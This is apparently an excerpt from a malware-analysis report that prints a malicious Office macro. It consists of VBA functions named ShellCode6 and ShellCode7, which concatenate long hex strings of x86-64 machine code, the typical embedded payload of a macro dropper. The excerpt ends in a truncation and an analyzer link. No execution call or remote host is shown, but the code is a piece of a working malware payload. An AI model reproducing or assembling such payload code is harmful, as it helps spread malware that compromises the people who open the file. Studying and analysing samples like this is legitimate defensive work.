    sShellCode = sShellCode + "48895c2408574883ec20488d1d57790000488d3d50790000eb0e488b034885c0"
    sShellCode = sShellCode + "7402ffd04883c308483bdf72ed488b5c24304883c4205fc34883ec284533c0ba"
    sShellCode = sShellCode + "0010000033c9c744243002000000ff156c3d000048890545f209004885c07429"
    sShellCode = sShellCode + "ff15523d00003c06731a488b0d2ff209004c8d44243041b90400000033d2ff15"
    sShellCode = sShellCode + "2c3d0000b8010000004883c428c3cccc4883ec28488b0d05f20900ff15273d00"
    sShellCode = sShellCode + "00488325f7f10900004883c428c3cccc48895c240848896c2410488974241857"
    sShellCode = sShellCode + "4883ec20488bf28bf9e8b6eeffff4533c9488bd84885c00f848c010000488b90"
    sShellCode = sShellCode + "a0000000488bca39397410488d82c00000004883c110483bc872ec488d82c000"
    sShellCode = sShellCode + "0000483bc8730439397403498bc94885c90f84520100004c8b41084d85c00f84"
    sShellCode = sShellCode + "450100004983f805750d4c894908418d40fce9340100004983f801750883c8ff"
    sShellCode = sShellCode + "e926010000488baba80000004889b3a8000000837904080f85f6000000ba3000"
    sShellCode = sShellCode + "0000488b83a00000004883c2104c894c02f84881fac00000007ce781398e0000"
    sShellCode = sShellCode + "c08bbbb0000000750fc783b000000083000000e9a50000008139900000c0750f"
    sShellCode = sShellCode + "c783b000000081000000e98e0000008139910000c0750cc783b0000000840000"
    sShellCode = sShellCode + "00eb7a8139930000c0750cc783b000000085000000eb6681398d0000c0750cc7"
    sShellCode = sShellCode + "83b000000082000000eb5281398f0000c0750cc783b000000086000000eb3e81"
    sShellCode = sShellCode + "39920000c0750cc783b00000008a000000eb2a8139b50200c0750cc783b00000"
    sShellCode = sShellCode + "008d000000eb168139b40200c08bc7ba8e0000000f44c28983b00000008b93b0"
    sShellCode = sShellCode + "000000b90800000041ffd089bbb0000000eb0a4c8949088b490441ffd04889ab"
    sShellCode = sShellCode + "a8000000e9d4feffff33c0488b5c2430488b6c2438488b7424404883c4205fc3"
    sShellCode = sShellCode + "b863736de03bc875078bc8e920feffff33c0c3ccb801000000c3cccc48895c24"
    sShellCode = sShellCode + "18574883ec20488b05db89000048836424300048bf32a2df2d992b0000483bc7"
    sShellCode = sShellCode + "740c48f7d0488905c4890000eb76488d4c2430ff150f3b0000488b5c2430ff15"
    sShellCode = sShellCode + "fc3a0000448bd84933dbff15b0390000448bd84933dbff15dc3a0000488d4c24"
    sShellCode = sShellCode + "38448bd84933dbff15c33a00004c8b5c24384c33db48b8ffffffffffff00004c"
    sShellCode = sShellCode + "23d848b833a2df2d992b00004c3bdf4c0f44d84c891d4e89000049f7d34c891d"
    sShellCode = sShellCode + "4c890000488b5c24404883c4205fc3cc832565080a0000c3cccccccccccc6666"
    sShellCode = sShellCode + "0f1f8400000000004881ecd80400004d33c04d33c948896424204c89442428e8"
    sShellCode = sShellCode + "2e3200004881c4d8040000c3cccccccccccc660f1f44000048894c2408488954"
    sShellCode = sShellCode + "2418448944241049c7c120059319eb08cccccccccccc6690c3cccccccccccc66"
    sShellCode = sShellCode + "0f1f840000000000c3cccccccccccccccccccccccccccccc488bc1b94d5a0000"
    sShellCode = sShellCode + "663908740333c0c34863483c4803c833c0813950450000750cba0b0200006639"
    sShellCode = sShellCode + "51180f94c0f3c3cc4c63413c4533c94c8bd24c03c1410fb74014450fb758064a"
    sShellCode = sShellCode + "8d4c00184585db741e8b510c4c3bd2720a8b410803c24c3bd0720f41ffc14883"
    sShellCode = sShellCode + "c128453bcb72e233c0c3488bc1c3cccccccccccccccccccc4883ec284c8bc14c"
    sShellCode = sShellCode + "8d0d22b8ffff498bc9e86affffff85c074224d2bc1498bd0498bc9e888ffffff"
    sShellCode = sShellCode + "4885c0740f8b4024c1e81ff7d083e001eb0233c04883c428c3cccccc48895c24"
    sShellCode = sShellCode + "08488974241048897c241841544883ec204c8d255088000033f633db498bfc83"
    sShellCode = sShellCode + "7f080175264863c6baa00f0000ffc6488d0c80488d05ceed0900488d0cc84889"
    sShellCode = sShellCode + "0fff158938000085c07426ffc34883c71083fb247cc9b801000000488b5c2430"
    sShellCode = sShellCode + "488b742438488b7c24404883c420415cc34863c34803c0498324c40033c0ebdb"
    sShellCode = sShellCode + "48895c240848896c24104889742418574883ec20bf24000000488d1dc8870000"
    sShellCode = sShellCode + "8bf7488b2b4885ed741b837b08017415488bcdff152f380000488bcde8c3ecff"
    sShellCode = sShellCode + "ff488323004883c31048ffce75d4488d1d9b870000488b4bf84885c9740b833b"
    sShellCode = sShellCode + "017506ff15ff3700004883c31048ffcf75e3488b5c2430488b6c2438488b7424"
    sShellCode = sShellCode + "404883c4205fc3cc4863c9488d05568700004803c9488b0cc848ff2530380000"
    sShellCode = sShellCode + "48895c2408488974241048897c241841554883ec204863d9be0100000048833d"
    sShellCode = sShellCode + "bbec0900007517e8301900008d4e1de8c8160000b9ff000000e82eeeffff488b"
    sShellCode = sShellCode + "fb4803ff4c8d2dfd86000049837cfd000074048bc6eb79b928000000e843ecff"
    sShellCode = sShellCode + "ff488bd84885c0750fe86e0d0000c7000c00000033c0eb58b90a000000e86600"
    sShellCode = sShellCode + "000090488bcb49837cfd0000752dbaa00f0000ff151737000085c07517488bcb"
    sShellCode = sShellCode + "e8bfebffffe8320d0000c7000c00000033f6eb0d49895cfd00eb06e8a4ebffff"
    sShellCode = sShellCode + "90488b0d20870000ff1562370000eb83488b5c2430488b742438488b7c244048"
    sShellCode = sShellCode + "83c420415dc3cccc48895c2408574883ec204863d9488d3d4c8600004803db48"
    sShellCode = sShellCode + "833cdf007511e8f5feffff85c075088d4811e895f0ffff488b0cdf488b5c2430"
    sShellCode = sShellCode + "4883c4205f48ff250c370000f0ff01488b81100100004885c07403f0ff00488b"
    sShellCode = sShellCode + "81200100004885c07403f0ff00488b81180100004885c07403f0ff00488b8130"
    sShellCode = sShellCode + "0100004885c07403f0ff00488d415841b806000000488d150c880000483950f0"
    sShellCode = sShellCode + "740b488b104885d27403f0ff02488378f800740c488b50084885d27403f0ff02"
    sShellCode = sShellCode + "4883c02049ffc875cc488b8158010000f0ff8060010000c34885c90f84970000"
    sShellCode = sShellCode + "004183c9fff0440109488b81100100004885c07404f0440108488b8120010000"
    sShellCode = sShellCode + "4885c07404f0440108488b81180100004885c07404f0440108488b8130010000"
    sShellCode = sShellCode + "4885c07404f0440108488d415841b806000000488d156e870000483950f0740c"
    sShellCode = sShellCode + "488b104885d27404f044010a488378f800740d488b50084885d27404f044010a"
    sShellCode = sShellCode + "4883c02049ffc875ca488b8158010000f044018860010000488bc1c348895c24"
    sShellCode = sShellCode + "084889742410574883ec20488b8128010000488bd94885c07479488d0d479200"
    sShellCode = sShellCode + "00483bc1746d488b83100100004885c07461833800755c488b8b200100004885"
    sShellCode = sShellCode + "c974168339007511e8b7e9ffff488b8b28010000e8f31c0000488b8b18010000"
    sShellCode = sShellCode + "4885c974168339007511e895e9ffff488b8b28010000e8651c0000488b8b1001"
    sShellCode = sShellCode + "0000e87de9ffff488b8b28010000e871e9ffff488b83300100004885c0744783"
    sShellCode = sShellCode + "38007542488b8b380100004881e9fe000000e84de9ffff488b8b48010000bf80"
    sShellCode = sShellCode + "000000482bcfe839e9ffff488b8b50010000482bcfe82ae9ffff488b8b300100"
    sShellCode = sShellCode + "00e81ee9ffff488b8b58010000488d0544860000483bc8741a83b96001000000"
    sShellCode = sShellCode + "7511e8e9170000488b8b58010000e8f1e8ffff488d7b58be06000000488d0505"
    sShellCode = sShellCode + "860000483947f07412488b0f4885c9740a8339007505e8c9e8ffff48837ff800"
    sShellCode = sShellCode + "7413488b4f084885c9740a8339007505e8afe8ffff4883c72048ffce75be488b"
    sShellCode = sShellCode + "cb488b5c2430488b7424384883c4205fe98fe8ffffcccccc40534883ec20488b"
    sShellCode = sShellCode + "da4885d274414885c9743c4c8b114c3bd2742f488911488bcae82efdffff4d85"
    sShellCode = sShellCode + "d2741f498bcae8adfdffff41833a007511488d05408800004c3bd07405e83afe"
    sShellCode = sShellCode + "ffff488bc3eb0233c04883c4205bc3cc40534883ec20e80de6ffff488bd88b88"
    sShellCode = sShellCode + "c8000000850d1691000074184883b8c000000000740ee8ede5ffff488b98c000"
    sShellCode = sShellCode + "0000eb2bb90c000000e87afcffff90488d8bc0000000488b153b890000e856ff"
    sShellCode = sShellCode + "ffff488bd8b90c000000e859fbffff4885db75088d4b20e810edffff488bc348"
    sShellCode = sShellCode + "83c4205bc3cccccc48895c240848896c24104889742418574883ec20488d591c"
    sShellCode = sShellCode + "488be9be01010000488bcb448bc633d2e8f31b00004533db488d7d10418d4b06"
    sShellCode = sShellCode + "410fb7c344895d0c4c895d0466f3ab488d3dd2880000482bfd8a041f880348ff"
    sShellCode = sShellCode + "c348ffce75f3488d8d1d010000ba000100008a0439880148ffc148ffca75f348"
    sShellCode = sShellCode + "8b5c2430488b6c2438488b7424404883c4205fc3488bc4488958104889701848"
    sShellCode = sShellCode + "89782055488da878fbffff4881ec80050000488b056f8100004833c448898570"
    sShellCode = sShellCode + "040000488bf18b4904488d542450ff15cc320000bb0001000085c00f843c0100"
    sShellCode = sShellCode + "0033c0488d4c24708801ffc048ffc13bc372f58a442456c644247020488d7c24"
    sShellCode = sShellCode + "56eb290fb65701440fb6c0443bc27716412bd0418bc04a8d4c0470448d4201b2"
    sShellCode = sShellCode + "20e8021b00004883c7028a0784c075d38b460c83642438004c8d442470894424"
    sShellCode = sShellCode + "308b4604448bcb89442428488d8570020000ba0100000033c94889442420e8f9"
    
    ShellCode6 = sShellCode
End Function

Private Function ShellCode7() As String
    Dim sShellCode As String
    
    sShellCode = ""
    sShellCode = sShellCode + "20000083642440008b46048b560c89442438488d4570895c243048894424284c"
    sShellCode = sShellCode + "8d4c2470448bc333c9895c2420e8d21e000083642440008b46048b560c894424"
    sShellCode = sShellCode + "38488d8570010000895c243048894424284c8d4c247041b80002000033c9895c"
    sShellCode = sShellCode + "2420e89d1e0000488d55704c8d8570010000482bd64c8d9d70020000488d4e1d"
    sShellCode = sShellCode + "4c2bc641f6030174098009108a440ae3eb0e41f603027410800920418a4408e3"
    sShellCode = sShellCode + "888100010000eb07c681000100000048ffc14983c30248ffcb75c8eb3f33d248"
    sShellCode = sShellCode + "8d4e1d448d429f418d402083f81977088009108d4220eb0c4183f819770e8009"
    sShellCode = sShellCode + "208d42e0888100010000eb07c6810001000000ffc248ffc13bd372c7488b8d70"
    sShellCode = sShellCode + "0400004833cce8addbffff4c8d9c2480050000498b5b18498b7320498b7b2849"
    sShellCode = sShellCode + "8be35dc348895c2410574883ec20e815e3ffff488bf88b88c8000000850d1e8e"
    sShellCode = sShellCode + "000074134883b8c0000000007409488b98b8000000eb6cb90d000000e887f9ff"
    sShellCode = sShellCode + "ff90488b9fb800000048895c2430483b1d838a000074424885db741bf0ff0b75"
    sShellCode = sShellCode + "16488d0540860000488b4c2430483bc87405e8cde4ffff488b055a8a00004889"
    sShellCode = sShellCode + "87b8000000488b054c8a00004889442430f0ff00488b5c2430b90d000000e825"
    sShellCode = sShellCode + "f8ffff4885db75088d4b20e8dce9ffff488bc3488b5c24384883c4205fc3cccc"
    sShellCode = sShellCode + "40534883ec20488bd9c64118004885d2757fe851e2ffff48894310488b90c000"
    sShellCode = sShellCode + "0000488913488b88b800000048894b08483b15a185000074168b80c800000085"
    sShellCode = sShellCode + "053b8d00007508e804fcffff488903488b05c289000048394308741b488b4310"
    sShellCode = sShellCode + "8b88c8000000850d148d00007509e8d1feffff48894308488b4310f680c80000"
    sShellCode = sShellCode + "000275148388c800000002c6431801eb070f1002f30f7f01488bc34883c4205b"
    sShellCode = sShellCode + "c3cccccc40534883ec408bd9488d4c242033d2e848ffffff832579e609000083"
    sShellCode = sShellCode + "fbfe7525c7056ae6090001000000ff159c2f00008
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.